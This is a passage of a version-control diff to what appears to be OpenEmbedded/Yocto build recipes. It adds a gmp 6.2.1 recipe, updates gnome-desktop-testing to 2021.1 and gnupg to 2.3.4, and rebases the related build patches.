-MIPS_INSTRUCTION_SET = "mips"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gmp/gmp_6.2.1.bb b/meta/recipes-support/gmp/gmp_6.2.1.bb
new file mode 100644
index 0000000000..72fbf4eefe
--- /dev/null
+++ b/meta/recipes-support/gmp/gmp_6.2.1.bb
@@ -0,0 +1,45 @@
+require gmp.inc
+
+LICENSE = "GPL-2.0-or-later | LGPL-3.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LESSERv3;md5=6a6a8e020838b23406c81b19c1d46df6 \
+ file://COPYINGv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+"
+
+REVISION = ""
+SRC_URI = "https://gmplib.org/download/${BPN}/${BP}${REVISION}.tar.bz2 \
+ file://use-includedir.patch \
+ file://0001-Append-the-user-provided-flags-to-the-auto-detected-.patch \
+ file://0001-confiure.ac-Believe-the-cflags-from-environment.patch \
+ file://cve-2021-43618.patch \
+ "
+SRC_URI[md5sum] = "28971fc21cf028042d4897f02fd355ea"
+SRC_URI[sha256sum] = "eae9326beb4158c386e39a356818031bd28f3124cf915f8c5b1dc4c7a36b4d7c"
+
+acpaths = ""
+
+EXTRA_OECONF += " --enable-cxx=detect"
+EXTRA_OECONF:append:mipsarchr6 = " --disable-assembly"
+
+PACKAGES =+ "libgmpxx"
+FILES:libgmpxx = "${libdir}/libgmpxx${SOLIBS}"
+
+do_install:append() {
+ oe_multilib_header gmp.h
+}
+
+do_install:prepend:class-target() {
+ sed -i \
+ -e "s|--sysroot=${STAGING_DIR_HOST}||g" \
+ -e "s|${DEBUG_PREFIX_MAP}||g" \
+ ${B}/gmp.h
+}
+
+SSTATE_SCAN_FILES += "gmp.h"
+
+# Doesn't compile in MIPS16e mode due to use of hand-written
+# assembly
+MIPS_INSTRUCTION_SET = "mips"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
new file mode 100644
index 0000000000..39efa4a463
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing/0001-fix-non-literal-format-string-issue-with-clang.patch
@@ -0,0 +1,31 @@
+From df625a36be8e0c7afa68b3dd23907dc7d658c59a Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Thu, 8 Jul 2021 23:13:30 -0700
+Subject: [PATCH] fix non-literal format string issue with clang
+
+clang errors out when using -Werror=format-nonliteral
+since the definition of g_strdup_vprintf() from glib-2.0
+is using va_list and clang seems to still warn where as
+gcc doesn't do that for va_list arguments
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/gnome-desktop-testing/-/merge_requests/9]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ src/gnome-desktop-testing-runner.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/src/gnome-desktop-testing-runner.c b/src/gnome-desktop-testing-runner.c
+index d75b71c..da49e14 100644
+--- a/src/gnome-desktop-testing-runner.c
++++ b/src/gnome-desktop-testing-runner.c
+@@ -74,7 +74,7 @@ static const char * const test_log_message_ids[] = {
+ static gboolean opt_quiet = FALSE;
+ static gboolean opt_tap = FALSE;
+
+-static void
++static void G_GNUC_PRINTF (3, 0)
+ test_log (TestLog what,
+ const char *test_name,
+ const char *format,
+--
+2.32.0
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
deleted file mode 100644
index 0defebeb15..0000000000
--- a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2018.1.bb
+++ /dev/null
@@ -1,18 +0,0 @@
-SUMMARY = "Test runner for GNOME-style installed tests"
-HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
-LICENSE = "LGPLv2+"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
- file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
-
-SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=http"
-SRCREV = "4decade67b29ad170fcf3de148e41695fc459f48"
-
-DEPENDS = "glib-2.0"
-
-S = "${WORKDIR}/git"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
-PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
new file mode 100644
index 0000000000..0cc7cd7b67
--- /dev/null
+++ b/meta/recipes-support/gnome-desktop-testing/gnome-desktop-testing_2021.1.bb
@@ -0,0 +1,24 @@
+SUMMARY = "Test runner for GNOME-style installed tests"
+DESCRIPTION = "Runner provides an execution harness for GNOME installed tests. \
+These tests are useful for verifying the functionality of software as \
+installed and packaged, and complement rather than replace build-time \
+('make check') tests."
+HOMEPAGE = "https://wiki.gnome.org/GnomeGoals/InstalledTests"
+LICENSE = "LGPL-2.0-or-later"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=3bf50002aefd002f49e7bb854063f7e7 \
+ file://src/gnome-desktop-testing-runner.c;beginline=1;endline=20;md5=7ef3ad9da2ffcf7707dc11151fe007f4"
+
+SRC_URI = "git://gitlab.gnome.org/GNOME/gnome-desktop-testing.git;protocol=http;branch=master \
+ file://0001-fix-non-literal-format-string-issue-with-clang.patch \
+ "
+SRCREV = "e346cd4ed2e2102c9b195b614f3c642d23f5f6e7"
+
+DEPENDS = "glib-2.0"
+
+S = "${WORKDIR}/git"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+PACKAGECONFIG[systemd] = ",,systemd"
diff --git a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch b/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
deleted file mode 100644
index 5c9c022226..0000000000
--- a/meta/recipes-support/gnupg/gnupg/0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch
+++ /dev/null
@@ -1,105 +0,0 @@
-From 59a3c76d4016ffc615f1c45184f4c6820061d69c Mon Sep 17 00:00:00 2001
-From: Richard Purdie <richard.purdie@linuxfoundation.org>
-Date: Wed, 16 Aug 2017 11:14:12 +0800
-Subject: [PATCH 1/4] Use pkg-config to find pth instead of pth-config.
-
-Upstream-Status: Denied
-[not submitted but they've been clear they don't want a pkg-config
-dependency]
-
-RP 2014/5/22
-
-Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Rebase to 2.1.23
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
----
- m4/gnupg-pth.m4 | 53 ++++++++---------------------------------------------
- 1 file changed, 8 insertions(+), 45 deletions(-)
-
-diff --git a/m4/gnupg-pth.m4 b/m4/gnupg-pth.m4
-index 6dc9e0e..5892531 100644
---- a/m4/gnupg-pth.m4
-+++ b/m4/gnupg-pth.m4
-@@ -17,33 +17,9 @@ dnl implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- # Taken and modified from the m4 macros which come with Pth.
- AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- [
-- _pth_version=`$PTH_CONFIG --version | awk 'NR==1 {print [$]3}'`
- _req_version="ifelse([$1],,1.2.0,$1)"
-+ PKG_CHECK_MODULES(PTH, [pth >= $_req_version], [have_pth=yes], [have_pth=no])
-
-- AC_MSG_CHECKING(for PTH - version >= $_req_version)
-- for _var in _pth_version _req_version; do
-- eval "_val=\"\$${_var}\""
-- _major=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\1/'`
-- _minor=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\2/'`
-- _rtype=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\3/'`
-- _micro=`echo $_val | sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\([[ab.]]\)\([[0-9]]*\)/\4/'`
-- case $_rtype in
-- "a" ) _rtype=0 ;;
-- "b" ) _rtype=1 ;;
-- "." ) _rtype=2 ;;
-- esac
-- _hex=`echo dummy | awk '{ printf("%d%02d%1d%02d", major, minor, rtype, micro); }' \
-- "major=$_major" "minor=$_minor" "rtype=$_rtype" "micro=$_micro"`
-- eval "${_var}_hex=\"\$_hex\""
-- done
-- have_pth=no
-- if test ".$_pth_version_hex" != .; then
-- if test ".$_req_version_hex" != .; then
-- if test $_pth_version_hex -ge $_req_version_hex; then
-- have_pth=yes
-- fi
-- fi
-- fi
- if test $have_pth = yes; then
- AC_MSG_RESULT(yes)
- AC_MSG_CHECKING([whether PTH installation is sane])
-@@ -51,9 +27,9 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- _gnupg_pth_save_cflags=$CFLAGS
- _gnupg_pth_save_ldflags=$LDFLAGS
- _gnupg_pth_save_libs=$LIBS
-- CFLAGS="$CFLAGS `$PTH_CONFIG --cflags`"
-- LDFLAGS="$LDFLAGS `$PTH_CONFIG --ldflags`"
-- LIBS="$LIBS `$PTH_CONFIG --libs --all`"
-+ CFLAGS="$CFLAGS $PTH_CFLAGS"
-+ LDFLAGS="$LDFLAGS $PTH_LDFLAGS"
-+ LIBS="$LIBS $PTH_LIBS"
- AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pth.h>
- ],
- [[ pth_init ();]])],
-@@ -80,26 +56,13 @@ AC_DEFUN([GNUPG_PTH_VERSION_CHECK],
- # PTH_CLFAGS and PTH_LIBS are AS_SUBST.
- #
- AC_DEFUN([GNUPG_PATH_PTH],
--[ AC_ARG_WITH(pth-prefix,
-- AC_HELP_STRING([--with-pth-prefix=PFX],
-- [prefix where GNU Pth is installed (optional)]),
-- pth_config_prefix="$withval", pth_config_prefix="")
-- if test x$pth_config_prefix != x ; then
-- PTH_CONFIG="$pth_config_prefix/bin/pth-config"
-- fi
-- AC_PATH_PROG(PTH_CONFIG, pth-config, no)
-+[
- tmp=ifelse([$1], ,1.3.7,$1)
-- if test "$PTH_CONFIG" != "no"; then
-- GNUPG_PTH_VERSION_CHECK($tmp)
-- if test $have_pth = yes; then
-- PTH_CFLAGS=`$PTH_CONFIG --cflags`
-- PTH_LIBS=`$PTH_CONFIG --ldflags`
-- PTH_LIBS="$PTH_LIBS `$PTH_CONFIG --libs --all`"
-- AC_DEFINE(HAVE_PTH, 1,
-+ GNUPG_PTH_VERSION_CHECK($tmp)
-+ if test $have_pth = yes; then
-+ AC_DEFINE(HAVE_PTH, 1,
- [Defined if the GNU Pth is available])
-- fi
- fi
- AC_SUBST(PTH_CFLAGS)
- AC_SUBST(PTH_LIBS)
- ])
--
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
index 2c204e0245..b58fbfe6f5 100644
--- a/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
+++ b/meta/recipes-support/gnupg/gnupg/0001-configure.ac-use-a-custom-value-for-the-location-of-.patch
@@ -1,4 +1,4 @@
-From e7ad11cf54475e455fdb84d118e4782961698567 Mon Sep 17 00:00:00 2001
+From bdde1faa774753e29d582d79186e08a38597de9e Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Mon, 22 Jan 2018 18:00:21 +0200
Subject: [PATCH] configure.ac: use a custom value for the location of
@@ -14,10 +14,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/configure.ac b/configure.ac
-index 919ab31..cd58fdb 100644
+index 5cdd316..e5f2d6a 100644
--- a/configure.ac
+++ b/configure.ac
-@@ -1855,7 +1855,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
+@@ -1962,7 +1962,7 @@ AC_DEFINE_UNQUOTED(GPGCONF_DISP_NAME, "GPGConf",
AC_DEFINE_UNQUOTED(GPGTAR_NAME, "gpgtar", [The name of the gpgtar tool])
diff --git a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
index 6d86e5c99b..d3790ac782 100644
--- a/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
+++ b/meta/recipes-support/gnupg/gnupg/0002-use-pkgconfig-instead-of-npth-config.patch
@@ -1,7 +1,7 @@
-From 53c2aec2e13f4e2d09be7148869c862f07dfdd4d Mon Sep 17 00:00:00 2001
+From 15668161c351aee5f29152db2972b1648da11210 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Wed, 16 Aug 2017 11:16:30 +0800
-Subject: [PATCH 2/4] use pkgconfig instead of npth config
+Subject: [PATCH] use pkgconfig instead of npth config
Upstream-Status: Inappropriate [openembedded specific]
@@ -9,29 +9,45 @@ Signed-off-by: Saul Wold <sgw@linux.intel.com>
Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- m4/npth.m4 | 34 ++++++++--------------------------
- 1 file changed, 8 insertions(+), 26 deletions(-)
+ m4/npth.m4 | 53 ++++++++---------------------------------------------
+ 1 file changed, 8 insertions(+), 45 deletions(-)
diff --git a/m4/npth.m4 b/m4/npth.m4
-index 17c2644..15a931b 100644
+index 06cdaee..4adda01 100644
--- a/m4/npth.m4
+++ b/m4/npth.m4
-@@ -17,10 +17,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
+@@ -19,25 +19,10 @@ AC_DEFUN([_AM_PATH_NPTH_CONFIG],
if test "x$npth_config_prefix" != x ; then
NPTH_CONFIG="$npth_config_prefix/bin/npth-config"
fi
-- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+ AC_PATH_PROG(PKGCONFIG, pkg-config, no)
+- use_gpgrt_config=""
+- if test x"$NPTH_CONFIG" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG npth --exists; then
+- NPTH_CONFIG="$GPGRT_CONFIG npth"
+- AC_MSG_NOTICE([Use gpgrt-config as npth-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(NPTH_CONFIG, npth-config, no)
+- fi
+-
- if test "$NPTH_CONFIG" != "no" ; then
-- npth_version=`$NPTH_CONFIG --version`
+- if test -z "$use_gpgrt_config"; then
+- npth_version=`$NPTH_CONFIG --version`
+- else
+- npth_version=`$NPTH_CONFIG --modversion`
+- fi
+ if test "$PKGCONFIG" != "no" ; then
+ npth_version=`$PKGCONFIG --modversion npth`
fi
npth_version_major=`echo $npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
-@@ -45,7 +45,7 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -62,7 +47,7 @@ AC_DEFUN([AM_PATH_NPTH],
AC_MSG_CHECKING(for NPTH - version >= $min_npth_version)
ok=no
@@ -40,7 +56,7 @@ index 17c2644..15a931b 100644
req_major=`echo $min_npth_version | \
sed 's/\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
req_minor=`echo $min_npth_version | \
-@@ -66,28 +66,9 @@ AC_DEFUN([AM_PATH_NPTH],
+@@ -83,32 +68,9 @@ AC_DEFUN([AM_PATH_NPTH],
fi
if test $ok = yes; then
AC_MSG_RESULT([yes ($npth_version)])
@@ -48,20 +64,24 @@ index 17c2644..15a931b 100644
- AC_MSG_RESULT(no)
- fi
- if test $ok = yes; then
-- # If we have a recent NPTH, we should also check that the
-- # API is compatible.
-- if test "$req_npth_api" -gt 0 ; then
+- # If we have a recent NPTH, we should also check that the
+- # API is compatible.
+- if test "$req_npth_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
- tmp=`$NPTH_CONFIG --api-version 2>/dev/null || echo 0`
-- if test "$tmp" -gt 0 ; then
-- AC_MSG_CHECKING([NPTH API version])
-- if test "$req_npth_api" -eq "$tmp" ; then
-- AC_MSG_RESULT([okay])
-- else
-- ok=no
-- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
-- fi
+- else
+- tmp=`$NPTH_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
+- if test "$tmp" -gt 0 ; then
+- AC_MSG_CHECKING([NPTH API version])
+- if test "$req_npth_api" -eq "$tmp" ; then
+- AC_MSG_RESULT([okay])
+- else
+- ok=no
+- AC_MSG_RESULT([does not match. want=$req_npth_api got=$tmp])
- fi
-- fi
+- fi
+- fi
- fi
- if test $ok = yes; then
- NPTH_CFLAGS=`$NPTH_CONFIG --cflags`
@@ -70,9 +90,9 @@ index 17c2644..15a931b 100644
+ NPTH_LIBS=`$PKGCONFIG --libs npth`
+ AC_MSG_WARN([[GOT HERE - $NPTH_LIBS ]])
ifelse([$2], , :, [$2])
- npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
- if test x"$npth_config_host" != xnone ; then
-@@ -103,6 +84,7 @@ AC_DEFUN([AM_PATH_NPTH],
+ if test -z "$use_gpgrt_config"; then
+ npth_config_host=`$NPTH_CONFIG --host 2>/dev/null || echo none`
+@@ -128,6 +90,7 @@ AC_DEFUN([AM_PATH_NPTH],
fi
fi
else
@@ -80,6 +100,3 @@ index 17c2644..15a931b 100644
NPTH_CFLAGS=""
NPTH_LIBS=""
ifelse([$3], , :, [$3])
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch b/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
index 3e798efd06..b4106d3620 100644
--- a/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
+++ b/meta/recipes-support/gnupg/gnupg/0003-dirmngr-uses-libgpg-error.patch
@@ -1,7 +1,7 @@
-From 9c3858ffda6246bf9e1e6aeeb920532a56b19408 Mon Sep 17 00:00:00 2001
+From 9ace8f1b68ab708c44dce4c0152b975fbceb0398 Mon Sep 17 00:00:00 2001
From: Saul Wold <sgw@linux.intel.com>
Date: Wed, 16 Aug 2017 11:18:01 +0800
-Subject: [PATCH 3/4] dirmngr uses libgpg error
+Subject: [PATCH] dirmngr uses libgpg error
Upstream-Status: Pending
Signed-off-by: Saul Wold <sgw@linux.intel.com>
@@ -9,24 +9,21 @@ Signed-off-by: Saul Wold <sgw@linux.intel.com>
Rebase to 2.1.23
Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
+
---
- dirmngr/Makefile.am | 3 ++-
- 1 file changed, 2 insertions(+), 1 deletion(-)
+ dirmngr/Makefile.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/dirmngr/Makefile.am b/dirmngr/Makefile.am
-index b404165..d3f916e 100644
+index 77ca3f5..1446775 100644
--- a/dirmngr/Makefile.am
+++ b/dirmngr/Makefile.am
-@@ -82,7 +82,8 @@ endif
+@@ -86,7 +86,7 @@ endif
dirmngr_LDADD = $(libcommonpth) \
$(DNSLIBS) $(LIBASSUAN_LIBS) \
$(LIBGCRYPT_LIBS) $(KSBA_LIBS) $(NPTH_LIBS) \
-- $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV)
-+ $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) \
-+ $(GPG_ERROR_LIBS)
+- $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) $(NETLIBS)
++ $(NTBTLS_LIBS) $(LIBGNUTLS_LIBS) $(LIBINTL) $(LIBICONV) $(NETLIBS) $(GPG_ERROR_LIBS)
if USE_LDAP
dirmngr_LDADD += $(ldaplibs)
endif
---
-1.8.3.1
-
diff --git a/meta/recipes-support/gnupg/gnupg/relocate.patch b/meta/recipes-support/gnupg/gnupg/relocate.patch
index e5a82aa76d..74f48e9582 100644
--- a/meta/recipes-support/gnupg/gnupg/relocate.patch
+++ b/meta/recipes-support/gnupg/gnupg/relocate.patch
@@ -1,4 +1,4 @@
-From 59c077f32e81190955910cae02599c7a3edfa7fb Mon Sep 17 00:00:00 2001
+From 1e34e1d477f843c0ee2f1a3fddc20201f0233e81 Mon Sep 17 00:00:00 2001
From: Ross Burton <ross.burton@intel.com>
Date: Wed, 19 Sep 2018 14:44:40 +0100
Subject: [PATCH] Allow the environment to override where gnupg looks for its
@@ -7,83 +7,76 @@ Subject: [PATCH] Allow the environment to override where gnupg looks for its
Upstream-Status: Inappropriate [OE-specific]
Signed-off-by: Ross Burton <ross.burton@intel.com>
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+
---
- common/homedir.c | 16 ++++++++--------
- 1 file changed, 8 insertions(+), 8 deletions(-)
+ common/homedir.c | 14 +++++++-------
+ 1 file changed, 7 insertions(+), 7 deletions(-)
diff --git a/common/homedir.c b/common/homedir.c
-index e9e75d0..19140aa 100644
+index 174d961..f4c25fb 100644
--- a/common/homedir.c
+++ b/common/homedir.c
-@@ -760,7 +760,7 @@ gnupg_socketdir (void)
+@@ -1161,7 +1161,7 @@ gnupg_socketdir (void)
if (!name)
{
unsigned int dummy;
- name = _gnupg_socketdir_internal (0, &dummy);
+ name = getenv("GNUPG_SOCKETDIR") ?: _gnupg_socketdir_internal (0, &dummy);
+ gpgrt_annotate_leaked_object (name);
}
- return name;
-@@ -786,7 +786,7 @@ gnupg_sysconfdir (void)
- }
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_SYSCONFDIR;
-+ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
- #endif /*!HAVE_W32_SYSTEM*/
- }
-
-@@ -815,7 +815,7 @@ gnupg_bindir (void)
+@@ -1193,7 +1193,7 @@ gnupg_sysconfdir (void)
+ if (dir)
+ return dir;
else
- return rdir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_BINDIR;
-+ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
+- return GNUPG_SYSCONFDIR;
++ return getenv("GNUPG_SYSCONFDIR") ?: GNUPG_SYSCONFDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -828,7 +828,7 @@ gnupg_libexecdir (void)
- #ifdef HAVE_W32_SYSTEM
- return gnupg_bindir ();
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBEXECDIR;
-+ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
+@@ -1229,7 +1229,7 @@ gnupg_bindir (void)
+ return name;
+ }
+ else
+- return GNUPG_BINDIR;
++ return getenv("GNUPG_BINDIR") ?: GNUPG_BINDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -842,7 +842,7 @@ gnupg_libdir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "lib" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LIBDIR;
-+ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
+@@ -1256,7 +1256,7 @@ gnupg_libexecdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBEXECDIR;
++ return getenv("GNUPG_LIBEXECDIR") ?: GNUPG_LIBEXECDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -856,7 +856,7 @@ gnupg_datadir (void)
- name = xstrconcat (w32_rootdir (), DIRSEP_S "share" DIRSEP_S "gnupg", NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_DATADIR;
-+ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
+@@ -1286,7 +1286,7 @@ gnupg_libdir (void)
+ return name;
+ }
+ else
+- return GNUPG_LIBDIR;
++ return getenv("GNUPG_LIBDIR") ?: GNUPG_LIBDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -872,7 +872,7 @@ gnupg_localedir (void)
- NULL);
- return name;
- #else /*!HAVE_W32_SYSTEM*/
-- return LOCALEDIR;
-+ return getenv("LOCALEDIR") ?: LOCALEDIR;
+@@ -1317,7 +1317,7 @@ gnupg_datadir (void)
+ return name;
+ }
+ else
+- return GNUPG_DATADIR;
++ return getenv("GNUPG_DATADIR") ?: GNUPG_DATADIR;
#endif /*!HAVE_W32_SYSTEM*/
}
-@@ -940,7 +940,7 @@ gnupg_cachedir (void)
+@@ -1349,7 +1349,7 @@ gnupg_localedir (void)
+ return name;
}
- return dir;
- #else /*!HAVE_W32_SYSTEM*/
-- return GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
-+ return getenv("GNUPG_LOCALSTATEDIR") ?: GNUPG_LOCALSTATEDIR "/cache/" PACKAGE_NAME;
+ else
+- return LOCALEDIR;
++ return getenv("LOCALEDIR") ?: LOCALEDIR;
#endif /*!HAVE_W32_SYSTEM*/
}
diff --git a/meta/recipes-support/gnupg/gnupg_2.2.17.bb b/meta/recipes-support/gnupg/gnupg_2.2.17.bb
deleted file mode 100644
index 689cf8a75e..0000000000
--- a/meta/recipes-support/gnupg/gnupg_2.2.17.bb
+++ /dev/null
@@ -1,58 +0,0 @@
-SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
-HOMEPAGE = "http://www.gnupg.org/"
-LICENSE = "GPLv3 & LGPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
- file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
-
-DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
-
-inherit autotools gettext texinfo pkgconfig
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://0001-Use-pkg-config-to-find-pth-instead-of-pth-config.patch \
- file://0002-use-pkgconfig-instead-of-npth-config.patch \
- file://0003-dirmngr-uses-libgpg-error.patch \
- file://0004-autogen.sh-fix-find-version-for-beta-checking.patch \
- file://0001-Woverride-init-is-not-needed-with-gcc-9.patch \
- "
-SRC_URI_append_class-native = " file://0001-configure.ac-use-a-custom-value-for-the-location-of-.patch \
- file://relocate.patch"
-
-SRC_URI[md5sum] = "1ba2d9b70c377f8e967742064c27a19c"
-SRC_URI[sha256sum] = "afa262868e39b651a2db4c071fba90415154243e83a830ca00516f9a807fd514"
-
-EXTRA_OECONF = "--disable-ldap \
- --disable-ccid-driver \
- --with-zlib=${STAGING_LIBDIR}/.. \
- --with-bzip2=${STAGING_LIBDIR}/.. \
- --with-readline=${STAGING_LIBDIR}/.. \
- --enable-gpg-is-gpg2 \
- "
-RRECOMMENDS_${PN} = "pinentry"
-
-do_configure_prepend () {
- # Else these could be used in prefernce to those in aclocal-copy
- rm -f ${S}/m4/gpg-error.m4
- rm -f ${S}/m4/libassuan.m4
- rm -f ${S}/m4/ksba.m4
- rm -f ${S}/m4/libgcrypt.m4
-}
-
-do_install_append() {
- ln -sf gpg2 ${D}${bindir}/gpg
- ln -sf gpgv2 ${D}${bindir}/gpgv
-}
-
-do_install_append_class-native() {
- create_wrapper ${D}${bindir}/gpg2 GNUPG_BINDIR=${STAGING_BINDIR_NATIVE}
- create_wrapper ${D}${bindir}/gpgconf GNUPG_BINDIR=${STAGING_BINDIR_NATIVE}
- create_wrapper ${D}${bindir}/gpg-agent GNUPG_BINDIR=${STAGING_BINDIR_NATIVE}
- create_wrapper ${D}${bindir}/gpg-connect-agent GNUPG_BINDIR=${STAGING_BINDIR_NATIVE}
-}
-
-PACKAGECONFIG ??= "gnutls"
-PACKAGECONFIG[gnutls] = "--enable-gnutls, --disable-gnutls, gnutls"
-PACKAGECONFIG[sqlite3] = "--enable-sqlite, --disable-sqlite, sqlite3"
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-support/gnupg/gnupg_2.3.4.bb b/meta/recipes-support/gnupg/gnupg_2.3.4.bb
new file mode 100644
index 0000000000..81361d902c
--- /dev/null
+++ b/meta/recipes-support/gnupg/gnupg_2.3.4.bb
@@ -0,0 +1,85 @@
+SUMMARY = "GNU Privacy Guard - encryption and signing tools (2.x)"
+DESCRIPTION = "A complete and free implementation of the OpenPGP standard \
+as defined by RFC4880 (also known as PGP). GnuPG allows you to encrypt \
+and sign your data and communications; it features a versatile key \
+management system, along with access modules for all kinds of public \
+key directories."
+HOMEPAGE = "http://www.gnupg.org/"
+LICENSE = "GPL-3.0-only & LGPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=189af8afca6d6075ba6c9e0aa8077626 \
+ file://COPYING.LGPL3;md5=a2b6bf2cb38ee52619e60f30a1fc7257"
+
+DEPENDS = "npth libassuan libksba zlib bzip2 readline libgcrypt"
+
+inherit autotools gettext texinfo pkgconfig
+
